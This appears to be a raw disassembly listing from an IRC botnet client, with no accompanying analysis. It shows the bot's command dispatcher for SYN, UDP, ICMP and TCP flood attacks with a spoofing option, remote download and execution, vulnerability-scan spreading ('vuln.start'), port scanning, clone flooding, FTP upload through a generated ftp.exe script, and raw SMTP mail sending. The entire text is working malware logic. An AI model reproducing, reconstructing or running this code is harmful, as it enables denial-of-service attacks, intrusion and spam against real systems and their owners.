loc_40EFAA:				; CODE XREF: sub_40CE55+9A7j
					; sub_40CE55+47A8j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D
		pop	ecx
		mov	eax, esi
		jmp	loc_40D21C
; ---------------------------------------------------------------------------

loc_40EFBE:				; CODE XREF: sub_40CE55+1EA9j
		push	[ebp+arg_8]
		push	offset aEnz_gethost ; "enz.gethost"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4111C9
		push	[ebp+arg_8]
		push	offset aEnz_gh	; "enz.gh"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4111C9
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_40D219
		push	[ebp+arg_8]
		push	offset aEnz_addalias ; "enz.addalias"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41118A
		push	[ebp+arg_8]
		push	offset aEnz_aa	; "enz.aa"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41118A
		push	[ebp+arg_8]
		push	offset aEnz_privmsg ; "enz.privmsg"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411137
		push	[ebp+arg_8]
		push	offset aEnz_pm	; "enz.pm"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411137
		push	[ebp+arg_8]
		push	offset aEnz_action ; "enz.action"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4110C9
		push	[ebp+arg_8]
		push	offset aEnz_ac	; "enz.ac"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4110C9
		push	[ebp+arg_8]
		push	offset aEnz_cycle ; "enz.cycle"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411066
		push	[ebp+arg_8]
		push	offset aEnz_cy	; "enz.cy"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411066
		push	[ebp+arg_8]
		push	offset aEnz_mode ; "enz.mode"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411027
		push	[ebp+arg_8]
		push	offset aEnz_m	; "enz.m"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411027
		push	[ebp+arg_8]
		push	offset aClone_raw ; "clone.raw"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410FBC
		push	[ebp+arg_8]
		push	offset aClone_ra ; "clone.ra"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410FBC
		push	[ebp+arg_8]
		push	offset aClone_mode ; "clone.mode"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F3A
		push	[ebp+arg_8]
		push	offset aClone_m	; "clone.m"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F3A
		push	[ebp+arg_8]
		push	offset aClone_nick ; "clone.nick"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EC9
		push	[ebp+arg_8]
		push	offset aClone_ni ; "clone.ni"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EC9
		push	[ebp+arg_8]
		push	offset aClone_join ; "clone.join"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EA3
		push	[ebp+arg_8]
		push	offset aClone_j	; "clone.j"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EA3
		push	[ebp+arg_8]
		push	offset aClone_part ; "clone.part"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E40
		push	[ebp+arg_8]
		push	offset aClone_p	; "clone.p"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E40
		push	[ebp+arg_8]
		push	offset aEnz_repeat ; "enz.repeat"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D7A
		push	[ebp+arg_8]
		push	offset aEnz_rp	; "enz.rp"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D7A
		push	[ebp+arg_8]
		push	offset aEnz_delay ; "enz.delay"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410CDF
		push	[ebp+arg_8]
		push	offset aEnz_de	; "enz.de"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410CDF
		push	[ebp+arg_8]
		push	offset aDownload_updiz ; "download.updiz"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B61
		push	[ebp+arg_8]
		push	offset aDownload_upz ; "download.upz"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B61
		push	[ebp+arg_8]
		push	offset aBox_execute ; "box.execute"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410AC0
		push	[ebp+arg_8]
		push	offset aBox_e	; "box.e"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410AC0
		push	[ebp+arg_8]
		push	offset aBox_findfile ; "box.findfile"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4109C2
		push	[ebp+arg_8]
		push	offset aBox_ff	; "box.ff"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4109C2
		push	[ebp+arg_8]
		push	offset aBox_rename ; "box.rename"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410971
		push	[ebp+arg_8]
		push	offset aBox_mv	; "box.mv"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410971
		push	[ebp+arg_8]
		push	offset aDdos_icmp ; "ddos.icmp"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410876
		push	[ebp+arg_8]
		push	offset aDdos_ic	; "ddos.ic"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410876
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_40D219
		push	[ebp+arg_8]
		push	offset aClone_make ; "clone.make"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41078B
		push	[ebp+arg_8]
		push	offset aClone_start ; "clone.start"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41078B
		push	[ebp+arg_8]
		push	offset aDs_sy1	; "ds.sy1"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410686
		push	[ebp+arg_8]
		push	offset aDs_ack	; "ds.ack"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410686
		push	[ebp+arg_8]
		push	offset aDs_rm	; "ds.rm"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410686
		push	[ebp+arg_8]
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410588
		push	[ebp+arg_8]
		push	offset aSy1	; "sy1"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410588
		push	[ebp+arg_8]
		push	offset aDownload_fromw ; "download.fromwww"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41044A
		push	[ebp+arg_8]
		push	offset aD1	; "d1"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41044A
		push	[ebp+arg_8]
		push	offset aServer_redir_0 ; "server.redirect.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410350
		push	[ebp+arg_8]
		push	offset aServer_rd_on ; "server.rd.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410350
		push	[ebp+arg_8]
		push	offset aEnz_portscan ; "enz.portscan"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41025D
		push	[ebp+arg_8]
		push	offset aEnz_ps	; "enz.ps"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41025D
		push	[ebp+arg_8]
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410188
		push	[ebp+arg_8]
		push	offset aClone_pm ; "clone.pm"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410188
		push	[ebp+arg_8]
		push	offset aClone_action ; "clone.action"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410073
		push	[ebp+arg_8]
		push	offset aClone_ac ; "clone.ac"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410073
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_40D219
		push	[ebp+arg_8]
		push	offset aVuln_start ; "vuln.start"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FD1A
		push	[ebp+arg_8]
		push	offset aVvv	; "vvv"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FD1A
		push	[ebp+arg_8]
		push	offset aDdos_udpflood ;	"ddos.udpflood"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FBFA
		push	[ebp+arg_8]
		push	offset aDdos_udpf ; "ddos.udpf"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FBFA
		push	[ebp+arg_8]
		push	offset aPu	; "pu"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FBFA
		push	[ebp+arg_8]
		push	offset aDdos_pingflood ; "ddos.pingflood"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FAC7
		push	[ebp+arg_8]
		push	offset aDdos_pingf ; "ddos.pingf"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FAC7
		push	[ebp+arg_8]
		push	offset aPg	; "pg"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FAC7
		push	[ebp+arg_8]
		push	offset aDdos_tcpflood ;	"ddos.tcpflood"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F934
		push	[ebp+arg_8]
		push	offset aUsa	; "usa"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F934
		push	[ebp+arg_8]
		push	offset aUtil_email ; "util.email"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F73D
		lea	eax, [ebp+var_3E4]
		push	edi
		push	eax
		call	sub_415C00
		push	[ebp+arg_18]
		call	sub_415A5F
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_D9C]
		push	eax
		call	sub_415C00
		push	[ebp+arg_10]
		lea	eax, [ebp+var_B94]
		push	eax
		call	sub_415C00
		push	offset asc_426A00 ; " "
		push	offset a_	; "_"
		push	[ebp+esi+var_80]
		call	sub_4099AA
		push	eax
		lea	eax, [ebp+var_548]
		push	eax
		call	sub_415C00
		add	esp, 30h
		lea	eax, [ebp+var_6F4]
		push	eax
		push	101h
		call	dword_43A310	; WSAStartup
		lea	eax, [ebp+var_3E4]
		push	eax
		call	dword_43A41C	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_43A418	; socket
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_2D8], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_2D4], eax
		call	dword_43A398	; htons
		mov	[ebp+var_2D6], ax
		lea	eax, [ebp+var_548]
		push	eax
		lea	eax, [ebp+var_D9C]
		push	eax
		lea	eax, [ebp+var_548]
		push	eax
		lea	eax, [ebp+var_B94]
		push	eax
		lea	eax, [ebp+var_D9C]
		push	eax
		lea	eax, [ebp+var_159C]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_4154E7
		add	esp, 1Ch
		lea	eax, [ebp+var_2D8]
		push	10h
		push	eax
		push	esi
		call	dword_43A340	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_C98]
		push	edi
		push	eax
		push	esi
		call	dword_43A3B0	; recv
		lea	eax, [ebp+var_C98]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_159C]
		push	eax
		push	esi
		call	dword_43A3E8	; send
		push	ebx
		lea	eax, [ebp+var_C98]
		push	edi
		push	eax
		push	esi
		call	dword_43A3B0	; recv
		push	esi
		call	dword_43A430	; closesocket
		call	dword_43A2F8	; WSACleanup
		lea	eax, [ebp+var_B94]
		push	eax
		push	offset unk_4351E0

loc_40F704:				; CODE XREF: sub_40CE55+3A1Cj
					; sub_40CE55+3D07j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch

loc_40F713:				; CODE XREF: sub_40CE55+3A00j
					; sub_40CE55+3CABj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4124D6
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h
		jmp	loc_4124D6
; ---------------------------------------------------------------------------

loc_40F73D:				; CODE XREF: sub_40CE55+2759j
		push	[ebp+arg_8]
		push	offset aUtil_httpcon ; "util.httpcon"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F906
		push	[ebp+arg_8]
		push	offset aUtil_hcon ; "util.hcon"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F906
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	loc_40D219
		push	[ebp+arg_8]
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41298E
		push	4
		push	esi
		call	sub_40C1FE
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F7DB
		push	esi
		push	offset dword_435184

loc_40F7A2:				; CODE XREF: sub_40CE55+2C63j
					; sub_40CE55+3219j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch

loc_40F7B1:				; CODE XREF: sub_40CE55+2C47j
					; sub_40CE55+31FDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_41284E
		push	ebx
		push	[ebp+var_4]

loc_40F7BE:				; CODE XREF: sub_40CE55+382Cj
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]

loc_40F7CE:				; CODE XREF: sub_40CE55+50D1j
		call	sub_412D4C
		add	esp, 14h
		jmp	loc_41284E
; ---------------------------------------------------------------------------

loc_40F7DB:				; CODE XREF: sub_40CE55+2945j
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415539
		pop	ecx
		call	sub_415543
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_415543
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_415543
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_C9C]
		push	edx
		push	eax
		lea	eax, [ebp+var_B98]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_B98]
		push	offset aAb	; "ab"
		push	eax
		call	sub_415BE8
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_40D219
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_415B96
		push	[ebp+arg_24]
		call	sub_415B40
		lea	eax, [ebp+var_B98]
		push	eax
		lea	eax, [ebp+var_3E4]
		push	offset aSS_4	; "-s:%s"
		push	eax
		call	sub_4154E7
		add	esp, 2Ch
		lea	eax, [ebp+var_3E4]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43A30C
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_40F8A5
		push	offset dword_435108
		jmp	short loc_40F8AA
; ---------------------------------------------------------------------------

loc_40F8A5:				; CODE XREF: sub_40CE55+2A47j
		push	offset dword_4350C8

loc_40F8AA:				; CODE XREF: sub_40CE55+2A4Ej
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40F8D3
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h

loc_40F8D3:				; CODE XREF: sub_40CE55+2A60j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D

loc_40F8DF:				; CODE XREF: sub_40CE55+2AAFj
		lea	eax, [ebp+var_B98]
		push	4
		push	eax
		call	sub_40C1FE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D219
		lea	eax, [ebp+var_B98]
		push	eax
		call	sub_4178FC
		jmp	short loc_40F8DF
; ---------------------------------------------------------------------------

loc_40F906:				; CODE XREF: sub_40CE55+28F9j
					; sub_40CE55+2910j
		push	[ebp+esi+var_80]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_415A5F
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_406B1D
		jmp	loc_41298B
; ---------------------------------------------------------------------------

loc_40F934:				; CODE XREF: sub_40CE55+272Bj
					; sub_40CE55+2742j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_680]
		push	esi
		push	eax
		call	sub_415A6A
		lea	eax, [ebp+var_680]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_415910
		add	esp, 14h
		test	eax, eax
		jz	short loc_40F997
		lea	eax, [ebp+var_680]
		push	eax
		push	offset aAck	; "ack"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F997
		lea	eax, [ebp+var_680]
		push	eax
		push	offset aRandom	; "random"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F997
		push	offset dword_43508C
		jmp	loc_41202C
; ---------------------------------------------------------------------------

loc_40F997:				; CODE XREF: sub_40CE55+2B08j
					; sub_40CE55+2B1Fj ...
		push	[ebp+arg_10]
		call	sub_415A5F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_578], eax
		jle	loc_40FABD
		push	edi
		lea	eax, [ebp+var_680]
		push	esi
		push	eax
		call	sub_415A6A
		push	[ebp+arg_18]
		lea	eax, [ebp+var_700]
		push	esi
		push	eax
		call	sub_415A6A
		push	[ebp+arg_0]
		call	sub_415A5F
		mov	[ebp+var_57C], eax
		xor	eax, eax
		cmp	[ebp+var_9A2], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_574], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_704], eax
		lea	eax, [ebp+var_600]
		push	esi
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+var_4]
		add	esp, 28h
		cmp	[ebp+var_574], ebx
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_56C], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_40FA2E
		mov	eax, offset aNormal ; "Normal"

loc_40FA2E:				; CODE XREF: sub_40CE55+2BD2j
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset dword_435034
		lea	eax, [ebp+var_2C8]
		push	200h
		push	eax
		call	sub_415A6A
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	0Ch
		push	eax
		call	sub_414F93
		add	esp, 2Ch
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_704]
		push	ebx
		push	eax
		push	offset sub_401BD6
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_40FAAC

loc_40FA96:				; CODE XREF: sub_40CE55+2C55j
		cmp	[ebp+var_568], ebx
		jnz	loc_40F7B1
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_40FA96
; ---------------------------------------------------------------------------

loc_40FAAC:				; CODE XREF: sub_40CE55+2C3Fj
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_434FE8
		jmp	loc_40F7A2
; ---------------------------------------------------------------------------

loc_40FABD:				; CODE XREF: sub_40CE55+2B53j
		push	offset dword_434F9C
		jmp	loc_41202C
; ---------------------------------------------------------------------------

loc_40FAC7:				; CODE XREF: sub_40CE55+26E6j
					; sub_40CE55+26FDj ...
		cmp	dword_43A488, ebx
		mov	esi, [ebp+arg_4]
		jnz	loc_40FBCF
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_2EC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2F0], eax
		lea	eax, [ebp+var_384]
		push	edi
		push	eax
		call	sub_416D40
		push	[ebp+arg_18]
		call	sub_415A5F
		push	[ebp+arg_0]
		mov	[ebp+var_304], eax
		call	sub_415A5F
		push	[ebp+arg_10]
		mov	[ebp+var_300], eax
		call	sub_415A5F
		push	7Fh
		mov	[ebp+var_2FC], eax
		push	[ebp+var_8C]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416D40
		push	[ebp+var_2FC]
		lea	eax, [ebp+var_384]
		mov	[ebp+var_408], esi
		push	[ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_304]
		push	offset unk_434F40
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	0Eh
		push	eax
		call	sub_414F93
		add	esp, 48h
		mov	[ebp+var_2F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_408]
		push	ebx
		push	eax
		push	offset sub_40A217
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_2F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_40FBBE

loc_40FBAC:				; CODE XREF: sub_40CE55+2D67j
		cmp	[ebp+var_2E8], ebx
		jnz	short loc_40FBE8
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_40FBAC
; ---------------------------------------------------------------------------

loc_40FBBE:				; CODE XREF: sub_40CE55+2D55j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434EF4
		jmp	loc_41077A
; ---------------------------------------------------------------------------

loc_40FBCF:				; CODE XREF: sub_40CE55+2C7Bj
		push	1FFh
		lea	eax, [ebp+var_2C8]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_416D40

loc_40FBE5:				; CODE XREF: sub_40CE55+3931j
		add	esp, 0Ch

loc_40FBE8:				; CODE XREF: sub_40CE55+2D5Dj
					; sub_40CE55+2EA4j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_41284E
		push	ebx
		push	[ebp+var_4]
		jmp	loc_411F18
; ---------------------------------------------------------------------------

loc_40FBFA:				; CODE XREF: sub_40CE55+26A1j
					; sub_40CE55+26B8j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_2EC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2F0], eax
		lea	eax, [ebp+var_384]
		push	edi
		push	eax
		call	sub_416D40
		push	[ebp+arg_18]
		call	sub_415A5F
		push	[ebp+arg_0]
		mov	[ebp+var_304], eax
		call	sub_415A5F
		push	[ebp+arg_10]
		mov	[ebp+var_300], eax
		call	sub_415A5F
		mov	esi, [ebp+esi+var_80]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_2FC], eax
		jz	short loc_40FC5F
		push	esi
		call	sub_415A5F
		pop	ecx
		mov	[ebp+var_2F8], eax
		jmp	short loc_40FC65
; ---------------------------------------------------------------------------

loc_40FC5F:				; CODE XREF: sub_40CE55+2DF9j
		mov	[ebp+var_2F8], ebx

loc_40FC65:				; CODE XREF: sub_40CE55+2E08j
		push	7Fh
		lea	eax, [ebp+var_404]
		push	[ebp+var_8C]
		push	eax
		call	sub_416D40
		push	[ebp+var_2FC]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_384]
		mov	[ebp+var_408], esi
		push	[ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_304]
		push	offset dword_434E80
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	0Fh
		push	eax
		call	sub_414F93
		add	esp, 30h
		mov	[ebp+var_2F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_408]
		push	ebx
		push	eax
		push	offset sub_40A3A3
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_2F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_40FD09

loc_40FCF3:				; CODE XREF: sub_40CE55+2EB2j
		cmp	[ebp+var_2E8], ebx
		jnz	loc_40FBE8
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_40FCF3
; ---------------------------------------------------------------------------

loc_40FD09:				; CODE XREF: sub_40CE55+2E9Cj
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_434E34
		jmp	loc_41077A
; ---------------------------------------------------------------------------

loc_40FD1A:				; CODE XREF: sub_40CE55+2673j
					; sub_40CE55+268Aj
		push	8
		call	sub_4151DB
		push	[ebp+arg_18]
		mov	[ebp+arg_8], eax
		call	sub_415A5F
		add	eax, [ebp+arg_8]
		pop	ecx
		pop	ecx
		cmp	eax, 12Ch
		jle	short loc_40FD6D
		push	[ebp+arg_8]
		lea	eax, [ebp+var_2C8]
		push	offset dword_434DE0
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C

loc_40FD65:				; CODE XREF: sub_40CE55+4330j
		add	esp, 20h
		jmp	loc_41298E
; ---------------------------------------------------------------------------

loc_40FD6D:				; CODE XREF: sub_40CE55+2EE1j
		push	edi
		call	sub_415A5F
		push	[ebp+arg_18]
		mov	[ebp+var_31C], eax
		call	sub_415A5F
		push	[ebp+arg_0]
		mov	[ebp+var_304], eax
		call	sub_415A5F
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+var_318], eax
		jnb	short loc_40FDA6
		push	1
		pop	eax
		mov	[ebp+var_318], eax

loc_40FDA6:				; CODE XREF: sub_40CE55+2F46j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40FDB3
		mov	[ebp+var_318], ecx

loc_40FDB3:				; CODE XREF: sub_40CE55+2F56j
		push	[ebp+arg_10]
		call	sub_415A5F
		mov	[ebp+var_314], eax
		mov	eax, 1F4h
		cmp	[ebp+var_314], eax
		pop	ecx
		jbe	short loc_40FDD5
		mov	[ebp+var_314], eax

loc_40FDD5:				; CODE XREF: sub_40CE55+2F78j
		or	[ebp+var_300], 0FFFFFFFFh
		cmp	dword_427338, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_40FE2B
		mov	[ebp+arg_24], offset dword_427338

loc_40FDEE:				; CODE XREF: sub_40CE55+2FB8j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FE11
		add	[ebp+arg_24], 3Ch
		inc	[ebp+arg_0]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_40FDEE
		jmp	short loc_40FE2B
; ---------------------------------------------------------------------------

loc_40FE11:				; CODE XREF: sub_40CE55+2FAAj
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_300], eax
		imul	ecx, 3Ch
		mov	ecx, dword_427338[ecx]
		mov	[ebp+var_31C], ecx

loc_40FE2B:				; CODE XREF: sub_40CE55+2F90j
					; sub_40CE55+2FBAj
		cmp	[ebp+var_31C], ebx
		jz	loc_411C49
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		mov	[ebp+arg_18], edi
		jz	short loc_40FE72
		cmp	byte ptr [edi],	23h
		jz	short loc_40FE72
		push	edi
		lea	eax, [ebp+var_430]
		push	10h
		push	eax
		call	sub_415A6A
		push	78h
		push	edi
		call	sub_417080
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_2F0], eax
		jmp	loc_40FF46
; ---------------------------------------------------------------------------

loc_40FE72:				; CODE XREF: sub_40CE55+2FEBj
					; sub_40CE55+2FF0j
		cmp	[ebp+var_9B3], bl
		jnz	short loc_40FE94
		cmp	[ebp+var_9B2], bl
		jnz	short loc_40FE94
